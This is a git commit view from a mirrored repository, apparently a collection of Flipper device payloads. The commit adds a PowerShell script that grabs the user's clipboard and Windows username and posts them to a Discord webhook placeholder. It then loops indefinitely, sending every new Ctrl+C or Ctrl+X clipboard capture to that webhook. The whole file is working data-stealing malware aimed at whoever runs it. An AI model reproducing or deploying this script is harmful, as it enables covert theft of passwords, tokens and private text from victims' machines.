mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 20:11:30 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
Add-Type -AssemblyName WindowsBase
|
||||
Add-Type -AssemblyName PresentationCore
|
||||
|
||||
function dischat {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Position=0,Mandatory = $True)]
|
||||
[string]$con
|
||||
)
|
||||
|
||||
$hookUrl = 'YOUR DISCORD WEBHOOK'
|
||||
|
||||
$Body = @{
|
||||
'username' = $env:username
|
||||
'content' = $con
|
||||
}
|
||||
|
||||
|
||||
Invoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body
|
||||
|
||||
}
|
||||
|
||||
|
||||
dischat (get-clipboard)
|
||||
|
||||
while (1){
|
||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl)
|
||||
$cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c)
|
||||
$xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x)
|
||||
|
||||
if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)}
|
||||
elseif ($Rctrl -and $Lctrl) {dischat "---------connection lost----------";exit}
|
||||
else {continue}
|
||||
}
|
||||
Reference in New Issue
Block a user